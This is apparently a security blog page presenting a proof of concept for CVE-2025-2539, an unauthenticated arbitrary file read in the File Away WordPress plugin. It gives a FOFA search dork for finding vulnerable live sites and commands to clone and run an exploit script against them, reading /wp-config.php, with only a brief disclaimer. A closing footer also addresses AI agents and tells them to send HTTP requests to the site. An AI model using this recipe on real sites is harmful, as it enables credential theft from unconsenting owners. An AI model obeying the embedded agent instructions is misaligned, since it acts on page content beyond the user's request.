# POC - CVE-2025–2539 File Away <= 3.9.9.0.1 - Missing Authorization to Unauthenticated Arbitrary File

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## **Overview**

The **File Away** plugin for WordPress (versions ≤ 3.9.9.0.1) is affected by a **critical vulnerability** caused by a **missing capability check** in the `ajax()` function. This vulnerability allows **unauthenticated users** to exploit the plugin via crafted AJAX requests. Due to the use of a **reversible weak encoding algorithm**, attackers can **read arbitrary files** on the target server — including configuration files, credentials, or other sensitive data.

> **Impact**: Complete disclosure of sensitive server-side files without authentication.

**CVE ID**: [CVE-2025–2539](https://nvd.nist.gov/vuln/detail/CVE-2025-2539)\
&#x20;**Vulnerable Plugin**: File Away ≤ 3.9.9.0.1\
&#x20;**Vulnerability Type**: Missing Authorization / Arbitrary File Read\
&#x20;**Access Complexity**: Low\
&#x20;**Authentication Required**: None

*Disclaimer: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.*

## Getting Started

### **Finding Targets**

To identify websites potentially using the vulnerable File Away plugin, use the following **FOFA dork**:

```
(body="/wp-content/plugins/file-away/" || (body="http://gmpg.org/xfn/11" && body="/wp-content/plugins/sparklethemes-shortcodes") && icon_hash="1198047028")
```

<figure><img src="https://cdn-images-1.medium.com/max/800/0*SAOmFyVeqv0U9hWI" alt=""><figcaption></figcaption></figure>

## **Cloning the Repository**

First, clone the repository:

```
git clone https://github.com/verylazytech/CVE-2025-2539
cd CVE-2025-2539
```

Run the Exploit:

```
./CVE-2025-2539.sh <Target:port> <File>
```

Example:

```
./CVE-2025-2539.sh https://vulnerable-site.com /wp-config.php
```

The script will attempt to access and display the contents of the specified file if the target is vulnerable.

**This makes it possible for unauthenticated attackers to read arbitrary files including the WordPress configuration file (`wp-config.php`).**

<figure><img src="https://cdn-images-1.medium.com/max/800/0*8ZWtX-zpDPo3UVgW" alt=""><figcaption></figcaption></figure>

***

{% hint style="success" %}
Learn & practice [**For the OSCP.**](https://shop.verylazytech.com)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚

</details>
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.verylazytech.com/vulnerabilities-and-exploits/cve-poc/poc-cve-2025-2539-file-away-less-than-3.9.9.0.1-missing-authorization-to-unauthenticated-arbitrary-f.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
